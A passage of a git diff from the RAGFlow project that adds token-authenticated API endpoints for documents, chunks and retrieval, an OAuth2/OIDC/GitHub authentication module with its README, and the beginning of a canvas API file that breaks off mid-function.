+ tenant_id = objs[0].tenant_id
+
+ try:
+ e, kb = KnowledgebaseService.get_by_name(kb_name, tenant_id)
+ if not e:
+ return get_data_error_result(
+ message="Can't find this knowledgebase!")
+ kb_id = kb.id
+ except Exception as e:
+ return server_error_response(e)
+
+ if 'file' not in request.files:
+ return get_json_result(
+ data=False, message='No file part!', code=settings.RetCode.ARGUMENT_ERROR)
+
+ file = request.files['file']
+ if file.filename == '':
+ return get_json_result(
+ data=False, message='No file selected!', code=settings.RetCode.ARGUMENT_ERROR)
+
+ root_folder = FileService.get_root_folder(tenant_id)
+ pf_id = root_folder["id"]
+ FileService.init_knowledgebase_docs(pf_id, tenant_id)
+ kb_root_folder = FileService.get_kb_folder(tenant_id)
+ kb_folder = FileService.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"])
+
+ try:
+ if DocumentService.get_doc_count(kb.tenant_id) >= int(os.environ.get('MAX_FILE_NUM_PER_USER', 8192)):
+ return get_data_error_result(
+ message="Exceed the maximum file number of a free user!")
+
+ filename = duplicate_name(
+ DocumentService.query,
+ name=file.filename,
+ kb_id=kb_id)
+ filetype = filename_type(filename)
+ if not filetype:
+ return get_data_error_result(
+ message="This type of file has not been supported yet!")
+
+ location = filename
+ while STORAGE_IMPL.obj_exist(kb_id, location):
+ location += "_"
+ blob = request.files['file'].read()
+ STORAGE_IMPL.put(kb_id, location, blob)
+ doc = {
+ "id": get_uuid(),
+ "kb_id": kb.id,
+ "parser_id": kb.parser_id,
+ "parser_config": kb.parser_config,
+ "created_by": kb.tenant_id,
+ "type": filetype,
+ "name": filename,
+ "location": location,
+ "size": len(blob),
+ "thumbnail": thumbnail(filename, blob),
+ "suffix": Path(filename).suffix.lstrip("."),
+ }
+
+ form_data = request.form
+ if "parser_id" in form_data.keys():
+ if request.form.get("parser_id").strip() in list(vars(ParserType).values())[1:-3]:
+ doc["parser_id"] = request.form.get("parser_id").strip()
+ if doc["type"] == FileType.VISUAL:
+ doc["parser_id"] = ParserType.PICTURE.value
+ if doc["type"] == FileType.AURAL:
+ doc["parser_id"] = ParserType.AUDIO.value
+ if re.search(r"\.(ppt|pptx|pages)$", filename):
+ doc["parser_id"] = ParserType.PRESENTATION.value
+ if re.search(r"\.(eml)$", filename):
+ doc["parser_id"] = ParserType.EMAIL.value
+
+ doc_result = DocumentService.insert(doc)
+ FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id)
+ except Exception as e:
+ return server_error_response(e)
+
+ if "run" in form_data.keys():
+ if request.form.get("run").strip() == "1":
+ try:
+ info = {"run": 1, "progress": 0}
+ info["progress_msg"] = ""
+ info["chunk_num"] = 0
+ info["token_num"] = 0
+ DocumentService.update_by_id(doc["id"], info)
+ # if str(req["run"]) == TaskStatus.CANCEL.value:
+ tenant_id = DocumentService.get_tenant_id(doc["id"])
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+
+ # e, doc = DocumentService.get_by_id(doc["id"])
+ TaskService.filter_delete([Task.doc_id == doc["id"]])
+ e, doc = DocumentService.get_by_id(doc["id"])
+ doc = doc.to_dict()
+ doc["tenant_id"] = tenant_id
+ bucket, name = File2DocumentService.get_storage_address(doc_id=doc["id"])
+ queue_tasks(doc, bucket, name, 0)
+ except Exception as e:
+ return server_error_response(e)
+
+ return get_json_result(data=doc_result.to_json())
+
+
+@manager.route('/document/upload_and_parse', methods=['POST']) # noqa: F821
+@validate_request("conversation_id")
+async def upload_parse():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ if 'file' not in request.files:
+ return get_json_result(
+ data=False, message='No file part!', code=settings.RetCode.ARGUMENT_ERROR)
+
+ file_objs = request.files.getlist('file')
+ for file_obj in file_objs:
+ if file_obj.filename == '':
+ return get_json_result(
+ data=False, message='No file selected!', code=settings.RetCode.ARGUMENT_ERROR)
+
+ doc_ids = await doc_upload_and_parse(request.form.get("conversation_id"), file_objs, objs[0].tenant_id)
+ return get_json_result(data=doc_ids)
+
+
+@manager.route('/list_chunks', methods=['POST']) # noqa: F821
+# @login_required
+def list_chunks():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ req = request.json
+
+ try:
+ if "doc_name" in req.keys():
+ tenant_id = DocumentService.get_tenant_id_by_name(req['doc_name'])
+ doc_id = DocumentService.get_doc_id_by_doc_name(req['doc_name'])
+
+ elif "doc_id" in req.keys():
+ tenant_id = DocumentService.get_tenant_id(req['doc_id'])
+ doc_id = req['doc_id']
+ else:
+ return get_json_result(
+ data=False, message="Can't find doc_name or doc_id"
+ )
+ kb_ids = KnowledgebaseService.get_kb_ids(tenant_id)
+
+ res = settings.retrievaler.chunk_list(doc_id, tenant_id, kb_ids)
+ res = [
+ {
+ "content": res_item["content_with_weight"],
+ "doc_name": res_item["docnm_kwd"],
+ "image_id": res_item["img_id"]
+ } for res_item in res
+ ]
+
+ except Exception as e:
+ return server_error_response(e)
+
+ return get_json_result(data=res)
+
+@manager.route('/get_chunk/', methods=['GET']) # noqa: F821
+# @login_required
+def get_chunk(chunk_id):
+ from rag.nlp import search
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+ try:
+ tenant_id = objs[0].tenant_id
+ kb_ids = KnowledgebaseService.get_kb_ids(tenant_id)
+ chunk = settings.docStoreConn.get(chunk_id, search.index_name(tenant_id), kb_ids)
+ if chunk is None:
+ return server_error_response(Exception("Chunk not found"))
+ k = []
+ for n in chunk.keys():
+ if re.search(r"(_vec$|_sm_|_tks|_ltks)", n):
+ k.append(n)
+ for n in k:
+ del chunk[n]
+
+ return get_json_result(data=chunk)
+ except Exception as e:
+ return server_error_response(e)
+
+@manager.route('/list_kb_docs', methods=['POST']) # noqa: F821
+# @login_required
+def list_kb_docs():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ req = request.json
+ tenant_id = objs[0].tenant_id
+ kb_name = req.get("kb_name", "").strip()
+
+ try:
+ e, kb = KnowledgebaseService.get_by_name(kb_name, tenant_id)
+ if not e:
+ return get_data_error_result(
+ message="Can't find this knowledgebase!")
+ kb_id = kb.id
+
+ except Exception as e:
+ return server_error_response(e)
+
+ page_number = int(req.get("page", 1))
+ items_per_page = int(req.get("page_size", 15))
+ orderby = req.get("orderby", "create_time")
+ desc = req.get("desc", True)
+ keywords = req.get("keywords", "")
+ status = req.get("status", [])
+ if status:
+ invalid_status = {s for s in status if s not in VALID_TASK_STATUS}
+ if invalid_status:
+ return get_data_error_result(
+ message=f"Invalid filter status conditions: {', '.join(invalid_status)}"
+ )
+ types = req.get("types", [])
+ if types:
+ invalid_types = {t for t in types if t not in VALID_FILE_TYPES}
+ if invalid_types:
+ return get_data_error_result(
+ message=f"Invalid filter conditions: {', '.join(invalid_types)} type{'s' if len(invalid_types) > 1 else ''}"
+ )
+ try:
+ docs, tol = DocumentService.get_by_kb_id(
+ kb_id, page_number, items_per_page, orderby, desc, keywords, status, types)
+ docs = [{"doc_id": doc['id'], "doc_name": doc['name']} for doc in docs]
+
+ return get_json_result(data={"total": tol, "docs": docs})
+
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/document/infos', methods=['POST']) # noqa: F821
+@validate_request("doc_ids")
+def docinfos():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+ req = request.json
+ doc_ids = req["doc_ids"]
+ docs = DocumentService.get_by_ids(doc_ids)
+ return get_json_result(data=list(docs.dicts()))
+
+
+@manager.route('/document', methods=['DELETE']) # noqa: F821
+# @login_required
+def document_rm():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ tenant_id = objs[0].tenant_id
+ req = request.json
+ try:
+ doc_ids = DocumentService.get_doc_ids_by_doc_names(req.get("doc_names", []))
+ for doc_id in req.get("doc_ids", []):
+ if doc_id not in doc_ids:
+ doc_ids.append(doc_id)
+
+ if not doc_ids:
+ return get_json_result(
+ data=False, message="Can't find doc_names or doc_ids"
+ )
+
+ except Exception as e:
+ return server_error_response(e)
+
+ root_folder = FileService.get_root_folder(tenant_id)
+ pf_id = root_folder["id"]
+ FileService.init_knowledgebase_docs(pf_id, tenant_id)
+
+ errors = ""
+ docs = DocumentService.get_by_ids(doc_ids)
+ doc_dic = {}
+ for doc in docs:
+ doc_dic[doc.id] = doc
+
+ for doc_id in doc_ids:
+ try:
+ if doc_id not in doc_dic:
+ return get_data_error_result(message="Document not found!")
+ doc = doc_dic[doc_id]
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+
+ b, n = File2DocumentService.get_storage_address(doc_id=doc_id)
+
+ if not DocumentService.remove_document(doc, tenant_id):
+ return get_data_error_result(
+ message="Database error (Document removal)!")
+
+ f2d = File2DocumentService.get_by_document_id(doc_id)
+ FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id])
+ File2DocumentService.delete_by_document_id(doc_id)
+
+ STORAGE_IMPL.rm(b, n)
+ except Exception as e:
+ errors += str(e)
+
+ if errors:
+ return get_json_result(data=False, message=errors, code=settings.RetCode.SERVER_ERROR)
+
+ return get_json_result(data=True)
+
+
+@manager.route('/completion_aibotk', methods=['POST']) # noqa: F821
+@validate_request("Authorization", "conversation_id", "word")
+def completion_faq():
+ import base64
+ req = request.json
+
+ token = req["Authorization"]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ e, conv = API4ConversationService.get_by_id(req["conversation_id"])
+ if not e:
+ return get_data_error_result(message="Conversation not found!")
+ if "quote" not in req:
+ req["quote"] = True
+
+ msg = []
+ msg.append({"role": "user", "content": req["word"]})
+ if not msg[-1].get("id"):
+ msg[-1]["id"] = get_uuid()
+ message_id = msg[-1]["id"]
+
+ def fillin_conv(ans):
+ nonlocal conv, message_id
+ if not conv.reference:
+ conv.reference.append(ans["reference"])
+ else:
+ conv.reference[-1] = ans["reference"]
+ conv.message[-1] = {"role": "assistant", "content": ans["answer"], "id": message_id}
+ ans["id"] = message_id
+
+ try:
+ if conv.source == "agent":
+ conv.message.append(msg[-1])
+ e, cvs = UserCanvasService.get_by_id(conv.dialog_id)
+ if not e:
+ return server_error_response("canvas not found.")
+
+ if not isinstance(cvs.dsl, str):
+ cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False)
+
+ if not conv.reference:
+ conv.reference = []
+ conv.message.append({"role": "assistant", "content": "", "id": message_id})
+ conv.reference.append({"chunks": [], "doc_aggs": []})
+
+ final_ans = {"reference": [], "doc_aggs": []}
+ canvas = Canvas(cvs.dsl, objs[0].tenant_id)
+
+ canvas.messages.append(msg[-1])
+ canvas.add_user_input(msg[-1]["content"])
+ answer = canvas.run(stream=False)
+
+ assert answer is not None, "Nothing. Is it over?"
+
+ data_type_picture = {
+ "type": 3,
+ "url": "base64 content"
+ }
+ data = [
+ {
+ "type": 1,
+ "content": ""
+ }
+ ]
+ final_ans["content"] = "\n".join(answer["content"]) if "content" in answer else ""
+ canvas.messages.append({"role": "assistant", "content": final_ans["content"], "id": message_id})
+ if final_ans.get("reference"):
+ canvas.reference.append(final_ans["reference"])
+ cvs.dsl = json.loads(str(canvas))
+
+ ans = {"answer": final_ans["content"], "reference": final_ans.get("reference", [])}
+ data[0]["content"] += re.sub(r'##\d\$\$', '', ans["answer"])
+ fillin_conv(ans)
+ API4ConversationService.append_message(conv.id, conv.to_dict())
+
+ chunk_idxs = [int(match[2]) for match in re.findall(r'##\d\$\$', ans["answer"])]
+ for chunk_idx in chunk_idxs[:1]:
+ if ans["reference"]["chunks"][chunk_idx]["img_id"]:
+ try:
+ bkt, nm = ans["reference"]["chunks"][chunk_idx]["img_id"].split("-")
+ response = STORAGE_IMPL.get(bkt, nm)
+ data_type_picture["url"] = base64.b64encode(response).decode('utf-8')
+ data.append(data_type_picture)
+ break
+ except Exception as e:
+ return server_error_response(e)
+
+ response = {"code": 200, "msg": "success", "data": data}
+ return response
+
+ # ******************For dialog******************
+ conv.message.append(msg[-1])
+ e, dia = DialogService.get_by_id(conv.dialog_id)
+ if not e:
+ return get_data_error_result(message="Dialog not found!")
+ del req["conversation_id"]
+
+ if not conv.reference:
+ conv.reference = []
+ conv.message.append({"role": "assistant", "content": "", "id": message_id})
+ conv.reference.append({"chunks": [], "doc_aggs": []})
+
+ data_type_picture = {
+ "type": 3,
+ "url": "base64 content"
+ }
+ data = [
+ {
+ "type": 1,
+ "content": ""
+ }
+ ]
+ ans = ""
+ for a in chat(dia, msg, stream=False, **req):
+ ans = a
+ break
+ data[0]["content"] += re.sub(r'##\d\$\$', '', ans["answer"])
+ fillin_conv(ans)
+ API4ConversationService.append_message(conv.id, conv.to_dict())
+
+ chunk_idxs = [int(match[2]) for match in re.findall(r'##\d\$\$', ans["answer"])]
+ for chunk_idx in chunk_idxs[:1]:
+ if ans["reference"]["chunks"][chunk_idx]["img_id"]:
+ try:
+ bkt, nm = ans["reference"]["chunks"][chunk_idx]["img_id"].split("-")
+ response = STORAGE_IMPL.get(bkt, nm)
+ data_type_picture["url"] = base64.b64encode(response).decode('utf-8')
+ data.append(data_type_picture)
+ break
+ except Exception as e:
+ return server_error_response(e)
+
+ response = {"code": 200, "msg": "success", "data": data}
+ return response
+
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/retrieval', methods=['POST']) # noqa: F821
+@validate_request("kb_id", "question")
+def retrieval():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ req = request.json
+ kb_ids = req.get("kb_id", [])
+ doc_ids = req.get("doc_ids", [])
+ question = req.get("question")
+ page = int(req.get("page", 1))
+ size = int(req.get("page_size", 30))
+ similarity_threshold = float(req.get("similarity_threshold", 0.2))
+ vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3))
+ top = int(req.get("top_k", 1024))
+ highlight = bool(req.get("highlight", False))
+
+ try:
+ kbs = KnowledgebaseService.get_by_ids(kb_ids)
+ embd_nms = list(set([kb.embd_id for kb in kbs]))
+ if len(embd_nms) != 1:
+ return get_json_result(
+ data=False, message='Knowledge bases use different embedding models or does not exist."',
+ code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ embd_mdl = LLMBundle(kbs[0].tenant_id, LLMType.EMBEDDING, llm_name=kbs[0].embd_id)
+ rerank_mdl = None
+ if req.get("rerank_id"):
+ rerank_mdl = LLMBundle(kbs[0].tenant_id, LLMType.RERANK, llm_name=req["rerank_id"])
+ if req.get("keyword", False):
+ chat_mdl = LLMBundle(kbs[0].tenant_id, LLMType.CHAT)
+ question += keyword_extraction(chat_mdl, question)
+ ranks = settings.retrievaler.retrieval(question, embd_mdl, kbs[0].tenant_id, kb_ids, page, size,
+ similarity_threshold, vector_similarity_weight, top,
+ doc_ids, rerank_mdl=rerank_mdl, highlight= highlight,
+ rank_feature=label_question(question, kbs))
+ for c in ranks["chunks"]:
+ c.pop("vector", None)
+ return get_json_result(data=ranks)
+ except Exception as e:
+ if str(e).find("not_found") > 0:
+ return get_json_result(data=False, message='No chunk found! Check the chunk status please!',
+ code=settings.RetCode.DATA_ERROR)
+ return server_error_response(e)
diff --git a/api/apps/auth/README.md b/api/apps/auth/README.md
new file mode 100644
index 0000000..372e75c
--- /dev/null
+++ b/api/apps/auth/README.md
@@ -0,0 +1,76 @@
+# Auth
+
+The Auth module provides implementations of OAuth2 and OpenID Connect (OIDC) authentication for integration with third-party identity providers.
+
+**Features**
+
+- Supports both OAuth2 and OIDC authentication protocols
+- Automatic OIDC configuration discovery (via `/.well-known/openid-configuration`)
+- JWT token validation
+- Unified user information handling
+
+## Usage
+
+```python
+# OAuth2 configuration
+oauth_config = {
+ "type": "oauth2",
+ "client_id": "your_client_id",
+ "client_secret": "your_client_secret",
+ "authorization_url": "https://your-oauth-provider.com/oauth/authorize",
+ "token_url": "https://your-oauth-provider.com/oauth/token",
+ "userinfo_url": "https://your-oauth-provider.com/oauth/userinfo",
+ "redirect_uri": "https://your-app.com/v1/user/oauth/callback/"
+}
+
+# OIDC configuration
+oidc_config = {
+ "type": "oidc",
+ "issuer": "https://your-oauth-provider.com/oidc",
+ "client_id": "your_client_id",
+ "client_secret": "your_client_secret",
+ "redirect_uri": "https://your-app.com/v1/user/oauth/callback/"
+}
+
+# Github OAuth configuration
+github_config = {
+ "type": "github"
+ "client_id": "your_client_id",
+ "client_secret": "your_client_secret",
+ "redirect_uri": "https://your-app.com/v1/user/oauth/callback/"
+}
+
+# Get client instance
+client = get_auth_client(oauth_config)
+```
+
+### Authentication Flow
+
+1. Get authorization URL:
+```python
+auth_url = client.get_authorization_url()
+```
+
+2. After user authorization, exchange authorization code for token:
+```python
+token_response = client.exchange_code_for_token(authorization_code)
+access_token = token_response["access_token"]
+```
+
+3. Fetch user information:
+```python
+user_info = client.fetch_user_info(access_token)
+```
+
+## User Information Structure
+
+All authentication methods return user information following this structure:
+
+```python
+{
+ "email": "user@example.com",
+ "username": "username",
+ "nickname": "User Name",
+ "avatar_url": "https://example.com/avatar.jpg"
+}
+```
diff --git a/api/apps/auth/__init__.py b/api/apps/auth/__init__.py
new file mode 100644
index 0000000..f989b6d
--- /dev/null
+++ b/api/apps/auth/__init__.py
@@ -0,0 +1,40 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from .oauth import OAuthClient
+from .oidc import OIDCClient
+from .github import GithubOAuthClient
+
+
+CLIENT_TYPES = {
+ "oauth2": OAuthClient,
+ "oidc": OIDCClient,
+ "github": GithubOAuthClient
+}
+
+
+def get_auth_client(config)->OAuthClient:
+ channel_type = str(config.get("type", "")).lower()
+ if channel_type == "":
+ if config.get("issuer"):
+ channel_type = "oidc"
+ else:
+ channel_type = "oauth2"
+ client_class = CLIENT_TYPES.get(channel_type)
+ if not client_class:
+ raise ValueError(f"Unsupported type: {channel_type}")
+
+ return client_class(config)
diff --git a/api/apps/auth/github.py b/api/apps/auth/github.py
new file mode 100644
index 0000000..5d46b27
--- /dev/null
+++ b/api/apps/auth/github.py
@@ -0,0 +1,63 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import requests
+from .oauth import OAuthClient, UserInfo
+
+
+class GithubOAuthClient(OAuthClient):
+ def __init__(self, config):
+ """
+ Initialize the GithubOAuthClient with the provider's configuration.
+ """
+ config.update({
+ "authorization_url": "https://github.com/login/oauth/authorize",
+ "token_url": "https://github.com/login/oauth/access_token",
+ "userinfo_url": "https://api.github.com/user",
+ "scope": "user:email"
+ })
+ super().__init__(config)
+
+
+ def fetch_user_info(self, access_token, **kwargs):
+ """
+ Fetch github user info.
+ """
+ user_info = {}
+ try:
+ headers = {"Authorization": f"Bearer {access_token}"}
+ # user info
+ response = requests.get(self.userinfo_url, headers=headers, timeout=self.http_request_timeout)
+ response.raise_for_status()
+ user_info.update(response.json())
+ # email info
+ response = requests.get(self.userinfo_url+"/emails", headers=headers, timeout=self.http_request_timeout)
+ response.raise_for_status()
+ email_info = response.json()
+ user_info["email"] = next(
+ (email for email in email_info if email["primary"]), None
+ )["email"]
+ return self.normalize_user_info(user_info)
+ except requests.exceptions.RequestException as e:
+ raise ValueError(f"Failed to fetch github user info: {e}")
+
+
+ def normalize_user_info(self, user_info):
+ email = user_info.get("email")
+ username = user_info.get("login", str(email).split("@")[0])
+ nickname = user_info.get("name", username)
+ avatar_url = user_info.get("avatar_url", "")
+ return UserInfo(email=email, username=username, nickname=nickname, avatar_url=avatar_url)
diff --git a/api/apps/auth/oauth.py b/api/apps/auth/oauth.py
new file mode 100644
index 0000000..6f7e0e5
--- /dev/null
+++ b/api/apps/auth/oauth.py
@@ -0,0 +1,110 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import requests
+import urllib.parse
+
+
+class UserInfo:
+ def __init__(self, email, username, nickname, avatar_url):
+ self.email = email
+ self.username = username
+ self.nickname = nickname
+ self.avatar_url = avatar_url
+
+ def to_dict(self):
+ return {key: value for key, value in self.__dict__.items()}
+
+
+class OAuthClient:
+ def __init__(self, config):
+ """
+ Initialize the OAuthClient with the provider's configuration.
+ """
+ self.client_id = config["client_id"]
+ self.client_secret = config["client_secret"]
+ self.authorization_url = config["authorization_url"]
+ self.token_url = config["token_url"]
+ self.userinfo_url = config["userinfo_url"]
+ self.redirect_uri = config["redirect_uri"]
+ self.scope = config.get("scope", None)
+
+ self.http_request_timeout = 7
+
+
+ def get_authorization_url(self, state=None):
+ """
+ Generate the authorization URL for user login.
+ """
+ params = {
+ "client_id": self.client_id,
+ "redirect_uri": self.redirect_uri,
+ "response_type": "code",
+ }
+ if self.scope:
+ params["scope"] = self.scope
+ if state:
+ params["state"] = state
+ authorization_url = f"{self.authorization_url}?{urllib.parse.urlencode(params)}"
+ return authorization_url
+
+
+ def exchange_code_for_token(self, code):
+ """
+ Exchange authorization code for access token.
+ """
+ try:
+ payload = {
+ "client_id": self.client_id,
+ "client_secret": self.client_secret,
+ "code": code,
+ "redirect_uri": self.redirect_uri,
+ "grant_type": "authorization_code"
+ }
+ response = requests.post(
+ self.token_url,
+ data=payload,
+ headers={"Accept": "application/json"},
+ timeout=self.http_request_timeout
+ )
+ response.raise_for_status()
+ return response.json()
+ except requests.exceptions.RequestException as e:
+ raise ValueError(f"Failed to exchange authorization code for token: {e}")
+
+
+ def fetch_user_info(self, access_token, **kwargs):
+ """
+ Fetch user information using access token.
+ """
+ try:
+ headers = {"Authorization": f"Bearer {access_token}"}
+ response = requests.get(self.userinfo_url, headers=headers, timeout=self.http_request_timeout)
+ response.raise_for_status()
+ user_info = response.json()
+ return self.normalize_user_info(user_info)
+ except requests.exceptions.RequestException as e:
+ raise ValueError(f"Failed to fetch user info: {e}")
+
+
+ def normalize_user_info(self, user_info):
+ email = user_info.get("email")
+ username = user_info.get("username", str(email).split("@")[0])
+ nickname = user_info.get("nickname", username)
+ avatar_url = user_info.get("avatar_url", None)
+ if avatar_url is None:
+ avatar_url = user_info.get("picture", "")
+ return UserInfo(email=email, username=username, nickname=nickname, avatar_url=avatar_url)
diff --git a/api/apps/auth/oidc.py b/api/apps/auth/oidc.py
new file mode 100644
index 0000000..9c59ffa
--- /dev/null
+++ b/api/apps/auth/oidc.py
@@ -0,0 +1,99 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import jwt
+import requests
+from .oauth import OAuthClient
+
+
+class OIDCClient(OAuthClient):
+ def __init__(self, config):
+ """
+ Initialize the OIDCClient with the provider's configuration.
+ Use `issuer` as the single source of truth for configuration discovery.
+ """
+ self.issuer = config.get("issuer")
+ if not self.issuer:
+ raise ValueError("Missing issuer in configuration.")
+
+ oidc_metadata = self._load_oidc_metadata(self.issuer)
+ config.update({
+ 'issuer': oidc_metadata['issuer'],
+ 'jwks_uri': oidc_metadata['jwks_uri'],
+ 'authorization_url': oidc_metadata['authorization_endpoint'],
+ 'token_url': oidc_metadata['token_endpoint'],
+ 'userinfo_url': oidc_metadata['userinfo_endpoint']
+ })
+
+ super().__init__(config)
+ self.issuer = config['issuer']
+ self.jwks_uri = config['jwks_uri']
+
+
+ def _load_oidc_metadata(self, issuer):
+ """
+ Load OIDC metadata from `/.well-known/openid-configuration`.
+ """
+ try:
+ metadata_url = f"{issuer}/.well-known/openid-configuration"
+ response = requests.get(metadata_url, timeout=7)
+ response.raise_for_status()
+ return response.json()
+ except requests.exceptions.RequestException as e:
+ raise ValueError(f"Failed to fetch OIDC metadata: {e}")
+
+
+ def parse_id_token(self, id_token):
+ """
+ Parse and validate OIDC ID Token (JWT format) with signature verification.
+ """
+ try:
+ # Decode JWT header without verifying signature
+ headers = jwt.get_unverified_header(id_token)
+
+ # OIDC usually uses `RS256` for signing
+ alg = headers.get("alg", "RS256")
+
+ # Use PyJWT's PyJWKClient to fetch JWKS and find signing key
+ jwks_cli = jwt.PyJWKClient(self.jwks_uri)
+ signing_key = jwks_cli.get_signing_key_from_jwt(id_token).key
+
+ # Decode and verify signature
+ decoded_token = jwt.decode(
+ id_token,
+ key=signing_key,
+ algorithms=[alg],
+ audience=str(self.client_id),
+ issuer=self.issuer,
+ )
+ return decoded_token
+ except Exception as e:
+ raise ValueError(f"Error parsing ID Token: {e}")
+
+
+ def fetch_user_info(self, access_token, id_token=None, **kwargs):
+ """
+ Fetch user info.
+ """
+ user_info = {}
+ if id_token:
+ user_info = self.parse_id_token(id_token)
+ user_info.update(super().fetch_user_info(access_token).to_dict())
+ return self.normalize_user_info(user_info)
+
+
+ def normalize_user_info(self, user_info):
+ return super().normalize_user_info(user_info)
diff --git a/api/apps/canvas_app.py b/api/apps/canvas_app.py
new file mode 100644
index 0000000..c3d4dd8
--- /dev/null
+++ b/api/apps/canvas_app.py
@@ -0,0 +1,564 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+import re
+import sys
+from functools import partial
+
+import flask
+import trio
+from flask import request, Response
+from flask_login import login_required, current_user
+
+from agent.component import LLM
+from api import settings
+from api.db import CanvasCategory, FileType
+from api.db.services.canvas_service import CanvasTemplateService, UserCanvasService, API4ConversationService
+from api.db.services.document_service import DocumentService
+from api.db.services.file_service import FileService
+from api.db.services.pipeline_operation_log_service import PipelineOperationLogService
+from api.db.services.task_service import queue_dataflow, CANVAS_DEBUG_DOC_ID, TaskService
+from api.db.services.user_service import TenantService
+from api.db.services.user_canvas_version import UserCanvasVersionService
+from api.settings import RetCode
+from api.utils import get_uuid
+from api.utils.api_utils import get_json_result, server_error_response, validate_request, get_data_error_result
+from agent.canvas import Canvas
+from peewee import MySQLDatabase, PostgresqlDatabase
+from api.db.db_models import APIToken, Task
+import time
+
+from api.utils.file_utils import filename_type, read_potential_broken_pdf
+from rag.flow.pipeline import Pipeline
+from rag.nlp import search
+from rag.utils.redis_conn import REDIS_CONN
+
+
+@manager.route('/templates', methods=['GET']) # noqa: F821
+@login_required
+def templates():
+ return get_json_result(data=[c.to_dict() for c in CanvasTemplateService.query(canvas_category=CanvasCategory.Agent)])
+
+
+@manager.route('/rm', methods=['POST']) # noqa: F821
+@validate_request("canvas_ids")
+@login_required
+def rm():
+ for i in request.json["canvas_ids"]:
+ if not UserCanvasService.accessible(i, current_user.id):
+ return get_json_result(
+ data=False, message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR)
+ UserCanvasService.delete_by_id(i)
+ return get_json_result(data=True)
+
+
+@manager.route('/set', methods=['POST']) # noqa: F821
+@validate_request("dsl", "title")
+@login_required
+def save():
+ req = request.json
+ if not isinstance(req["dsl"], str):
